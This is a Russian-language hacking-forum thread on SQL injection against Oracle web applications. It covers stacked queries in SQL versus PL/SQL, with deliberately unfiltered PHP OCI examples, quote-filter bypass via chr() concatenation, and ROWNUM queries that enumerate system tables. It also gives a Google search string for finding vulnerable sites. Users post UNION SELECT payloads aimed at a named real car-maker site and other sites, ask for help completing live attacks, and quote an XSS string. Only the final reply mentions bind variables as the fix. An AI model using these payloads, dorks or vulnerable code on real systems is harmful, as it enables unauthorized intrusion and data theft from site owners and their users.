Авторские статьи Проведение SQL инъекций в Oracle.

Discussion in 'Статьи' started by [53x]Shadow, 21 May 2007.

  1. [53x]Shadow

    [53x]Shadow Leaders of Antichat

    Joined:
    25 Jan 2007
    Messages:
    284
    Likes Received:
    597
    Reputations:
    514
    Итоги

    Вообщем хочу подвести некоторые итоги, на мой взгляд по основному вопросу: Есть ли возможность применять разделитель запросов (в данном случае символ ";") в Oracle? Делаю это не с целью продолжения спора, а с целью разъяснения остальным читателям как обстоит дело на самом деле. Попытаюсь дать развернутый ответ, чтобы не осталось вопросов.

    Немного теории.
    Еще раз повторюсь - необходимо различать SQL и PL/SQL в Oracle. Для справки: язык PL/SQL - это процедурный язык представляющий собой расширение стандарта ANSI языка SQL, разработанного фирмой Oracle.
    Для начала рассмотрим рис2.
    [​IMG]
    Программы, написанные на языке PL/SQL, выполняются системой-исполнителем языка, которая представляет собой часть сервера БД Oracle. Независимо от средства, с помощью которого формируется исполняемый код, он посылается на сервер Oracle. Система исполнитель языка PL/SQL сканирует, разбирает и компилирует код. После этого код, готов к выполнению. Выполняется код посредством передачи его SQL Statement Executor (системе исполнителю SQL-кода). Соответственно простые SQL запросы перенаправляются непосредственно исполнителю SQL-кода. Смотрим рис3.
    [​IMG]
    Основное преимущество при работе с PL/SQL как языком БД является то, что на исполнение серверу посылается группа SQL предложений, а не единичные запросы сформированные, скажем какой-либо программой не использующей PL/SQL как средство работы с БД. Действительно, получив PL/SQL блок, сервер приступает к его обработке, а клиенту остается только ожидать результата операции. Тогда как единичные запросы к БД, порождают большой трафик и тормозят работу сети в целом.

    Основной вопрос.
    В чем же синтаксическое отличие SQL от PL/SQL или как Oracle различает какому исполнителю перенаправить запрос на обработку? Все достаточно просто если запрос DML(Data manipulation language), т.е. select, update, insert или delete, обрамлен конструкцией begin...end, то это PL/SQL, если нет то SQL. Естественно синтаксис PL/SQL позволяет включать несколько запросов в одну процедуру, разделяя их символом-разделителем ";". Соответственно синтаксис SQL не позволяет разделять запросы ни какими символами, запросы выполняются на сервере строго по одному.

    Немного практики.

    Нас интересует вопрос проведения SQL инъекции в Веб-приложениях. Для того что бы было более понятно необходимо подойти не со стороны атакующего, а со стороны атакуемого, т.е. посмотреть пример реализации ключевых моментов взаимодействия Веб-приложения с СУБД Oracle. Рассмотрим пример на php, как наиболее знакомый и простой для понимания, хотя по сути аналогично происходит взаимодействие и в других языках C, Java, ASP и т.д.
    Воспользуемся интерфейсом OCI для взаимодействия с БД и рассмотрим пример реализации запроса SQL и PL/SQL на PHP:
    1. SQL запрос
    PHP:
    $c=OCILogon("scott""tiger""orcl");
    $s OCIParse($c"select name from tab1 where id = ".$_GET['id']);
    OCIExecute($sOCI_DEFAULT); 
    2. PL/SQL запрос
    PHP:
    $c=OCILogon("scott""tiger""orcl");
    $s OCIParse($c"begin select name from tab1 where id = ".$_GET['id']."; end;");
    OCIExecute($sOCI_DEFAULT);
    Рассмотрев эти два примера, можно сказать что если параметр id не фильтруется, возможна инъекция в обоих примерах. Но если в первом примере попробывать вставить второй запрос используя разделитель ";", то вы в любом случае получите ошибку синтаксиса invalid character с указанием на символ ";". А если во втором примере вставить, то все будет ок ;) Все примеры приведенные выше аналогично реализуются и в других языках, только там функции называются по другому :)

    Выводы.
    Таким образом нельзя однозначно утверждать, что символ разделитель запросов можно или нельзя использовать в инъекциях Oracle. Все зависит от того какие запросы используются в уязвимом приложении. Если простые SQL-запросы то невозможно, если PL/SQL то возможно.

    ЗЫ
    Имхо реализация из первого примера наиболее распространена в сети, по крайней мере повторюсь я натыкался только на такие, но не сомневаюсь, что есть и второго типа. Что касается статьи, то писал я ее для инъекций в простых SQL-запросах Oracle, это указано в начале, по-этому касательно статьи - ошибки нет.

    ЗЗЫ
    to podkashey
    Я имел ввиду второй пример приведенный выше, но и через параметры в процедуру имхо тоже можно инъекцию провести, если нет фильтрации, хотя такое наверно не реально встретить в сети (имею ввиду использование хранимых процедур для Веб). ;)
    Жду примера, попьем пивка :)
     
    #21 [53x]Shadow, 30 May 2007
    Last edited: 27 Aug 2007
    5 people like this.
  2. guest3297

    guest3297 Banned

    Joined:
    27 Jun 2006
    Messages:
    1,246
    Likes Received:
    639
    Reputations:
    817
    Oracle не исключает SQL, так же как не исключает и PL/SQL. Смысл спора мне не ясен.
    Вообще различных реализаций море.
     
    1 person likes this.
  3. FaLL3N

    FaLL3N New Member

    Joined:
    22 Apr 2007
    Messages:
    0
    Likes Received:
    0
    Reputations:
    0
    Имхо, если прав на системные объекты нет, то не видать хешей как своих ушей. И в большинстве случаев, инфа предоставлена в виде селектов из сторед вьювов, и только на них есть у юзера права, так что... оракл это вам совсем не мускул
     
  4. [53x]Shadow

    [53x]Shadow Leaders of Antichat

    Joined:
    25 Jan 2007
    Messages:
    284
    Likes Received:
    597
    Reputations:
    514
    Это ты к чему вообще?
    В статье ясно все описано про права и что мона достать имея эти права...
     
    #24 [53x]Shadow, 21 Jun 2007
    Last edited: 27 Aug 2007
  5. [Raz0r]

    [Raz0r] Elder - Старейшина

    Joined:
    25 Feb 2007
    Messages:
    425
    Likes Received:
    484
    Reputations:
    295
    После того как подобрал необходимое количество столбцов с помощью нуллов я сразу получаю приведенную выше ошибку несоответствия типов. Разве null имеет какой-либо тип?
     
  6. [53x]Shadow

    [53x]Shadow Leaders of Antichat

    Joined:
    25 Jan 2007
    Messages:
    284
    Likes Received:
    597
    Reputations:
    514
    Во-первых если удалось подобрать количество столбцов с пом. null, значит ошибки не было, в момент когда совпало количество столбцов в основном и объединенном запросе. Если изменился тип ошибки, т.е. он все-таки ругается на null, что в принципе очень странно(null - универсальное значение для любого типа данных Oracle), то можно попробывать сразу подставлять какие либо значения, что бы определить тип выводимых данных, см. статью.
    Во-вторых null - это значение, которое может присутствовать в любом типе данных Oracle, он не является значением определенного типа данных. см. стандарт ANSI SQL (NULL).
    Согласно ANSI все типы данных должны поддерживать неопределенные или NULL значения. Oracle в полной мере поддерживает это правило для всех типов, за исключением символьных. Для любых символьных данных пустая строка интерпретируется как NULL.
    ЗЫ
    Мне кажется, что у тебя ошибка где то в другом месте =\
     
  7. [53x]Shadow

    [53x]Shadow Leaders of Antichat

    Joined:
    25 Jan 2007
    Messages:
    284
    Likes Received:
    597
    Reputations:
    514
    Дополнение!

    Дополнение по некоторым узким моментам:

    [Обход фильтрации]

    Обход фильтрации кавычек и других спецсимволов осуществляется с помощью функции chr().
    Функция chr() возвращает ASCII-код символа. Но ее использование связано с некоторой сложностью, поскольку функция принимает и возвращает только один символ в отличии от подобной функции char() в MySQL. Для получения кода целой строки придется вызывать отдельную функцию для каждого символа и в последствии объединять их с помощью операции конкатенации ||.
    Таким образом, закодированное слово user будет иметь вид chr(117)||chr(115)||chr(101)||chr(114).

    [Аналог LIMIT]
    Возможна нормальная замена предиката LIMIT используемого в MySQL для Oracle с помощью псевдостолбца ROWNUM с использованием сложного запроса (скажем спасиба groundhog`у).
    Используем следующую конструкцию:
    SELECT T.TN FROM (SELECT ROWNUM R, TABLE_NAME TN FROM SYS.ALL_TABLES) T WHERE R BETWEEN X AND Y
    Перебирая X и Y вытаскиваем имена всех таблиц (все записи начиная с Х по Y), доступных пользователю, аналогично со столбцами.

    Еще несколько интересных конструкций с ROWNUM:

    -- Перебор имён таблиц по заданному NUMROW (возвращается одна строчка)
    SELECT T.TN FROM (SELECT ROWNUM R, TABLE_NAME TN FROM SYS.ALL_TABLES) T WHERE R=X

    -- Получение количества записей в заданной таблице через NUMROW
    SELECT T.NR FROM (SELECT ROWNUM R, NUM_ROWS NR FROM SYS.ALL_TABLES) T WHERE R=X

    -- Получение количества записей в заднной таблице через имя таблицы
    SELECT T.NR FROM (SELECT ROWNUM R, NUM_ROWS NR, TABLE_NAME TN FROM SYS.ALL_TABLES) T WHERE TN='...';

    [Google хек]
    Как щас принято использовать поисковики для поиска уязвимостей, мы тоже не будем отставать (=
    Для обнаружения уязвимых сайтов можно воспользоваться поисковиком, например в гугле искать сайты со строками
    “ORA-00921: unexpected end of SQL command”
     
    5 people like this.
  8. [53x]Shadow

    [53x]Shadow Leaders of Antichat

    Joined:
    25 Jan 2007
    Messages:
    284
    Likes Received:
    597
    Reputations:
    514
    Скрипт!

    В дополнение к обходу кавычек с использованием функции chr() для автоматизации и ускорения процесса проведения инъекции написал скриптец, конвертирующий необходимую строку к последовательности chr()||chr()||.... и т.д.
    Так же добавил в него функции преобразования к соответствующим последовательностям в MySQL, MSSQL.
    Получился вроде как универсальный скриптец
    Universal char SQL encoder
     
    2 people like this.
  9. prescott

    prescott Elder - Старейшина

    Joined:
    28 Jul 2008
    Messages:
    132
    Likes Received:
    43
    Reputations:
    5
    Code:
    http://lada-auto.ru/cgi-bin/models.pl?model_id=6295171+union+select+1,null,to_char(213),null+from+sys.dual--%20&branch=tth
    Помогите с ORACLE инъекцией. Не могу подобрать тип данных для третьего столбца. В чем ошибка?
     
  10. tmp

    tmp Banned

    Joined:
    10 Mar 2005
    Messages:
    417
    Likes Received:
    32
    Reputations:
    1
    Отлично все для новичка в Оракле!
    Вот еще может кому понадобится полезная ссылка (долго искал)

    Структура системных таблиц в Оракл
    http://khpi-iip.mipk.kharkiv.edu/library/dbms/lab2/ref/app8.html
     
  11. aqqa

    aqqa Banned

    Joined:
    12 Jul 2008
    Messages:
    96
    Likes Received:
    16
    Reputations:
    3
    Напоролся на такую шнягу,подскажите как дальше
    Warning: oci_execute() [function.oci-execute]: ORA-01460: unimplemented or unreasonable conversion requested in /usr/local/apache2/htdocs/cms_adm/lib/site/Oracle.class.php on line 86
    array (
    0 => '"> http://******.ru/trye.asp?sessionID="><IMG%20SRC="javascript:alert();',
    1 => '',
    )
     
  12. Gorev

    Gorev Level 8

    Joined:
    31 Mar 2006
    Messages:
    2,551
    Likes Received:
    1,259
    Reputations:
    274
    Интересный факт, не знаю на сколько будет полезно но: запрос

    www.site.com/view.php?id=-1+union+select+null, table_name, null, null+from+sys.user_tables+where+rownum+<=+5--

    выдавал пустую страничкy, а запрос

    www.site.com/view.php?id=-1+UNION+SELECT+null, TABLE_Name, null, null+FROM+SYS.USER_TABLES+WHERE+ROWNUM+<=+5--

    выводил нужную информацию на страничкy

    З.Ы. Спасибо за предоставленую инфу по ораклу...
     
  13. navigat0r

    navigat0r Member

    Joined:
    15 Mar 2009
    Messages:
    83
    Likes Received:
    54
    Reputations:
    -2
    eсть вот такая вещь, как с ней бороться??Как подобрать кол-во столбцов?
    BD Oracle
    получил с помощбю post запроса www.site.ru/vote/statistic.php?lang=kaz&vote=1&question_id=1122031291')--+&answer_id=1122031391&vote_bt.x=21&vote_bt.y=11


    Warning: ociexecute() [function.ociexecute]: ORA-01785: ORDER BY item must be the number of a SELECT-list expression in /export/htdocs/oracle.php on line 48
    SELECT * FROM voting_questions WHERE id = '1122031291\' order by 99999--'
    Warning: ocifetchinto() [function.ocifetchinto]: ORA-24374: define not done before fetch or execute and fetch in /export/htdocs/oracle.php on line 56

    буду ОЧЕНЬ признателен за помощь!
     
    1 person likes this.
  14. navigat0r

    navigat0r Member

    Joined:
    15 Mar 2009
    Messages:
    83
    Likes Received:
    54
    Reputations:
    -2
    это вообще за инъекцию сойдёт???Как можно подобрать кол-во колонок?
     
  15. HIVER

    HIVER Member

    Joined:
    28 Oct 2008
    Messages:
    36
    Likes Received:
    18
    Reputations:
    0
    У тебя комментирование "--" запроса не прошло. Скул говорит, что "group by 99999--" - должно быть целым числом, а не с "--". Попробуй "/*" и нулл-байт %00, мало ли.
     
  16. (Dm)

    (Dm) Elder - Старейшина

    Joined:
    8 Apr 2008
    Messages:
    261
    Likes Received:
    440
    Reputations:
    275
    Вообще, я удивлен, наличием php скриптов с sql инъекцией под оракл... нужно сильно постараться написать такой код, когда есть функция OCIBindByName, использование которой сводит возможность инъекции на нет.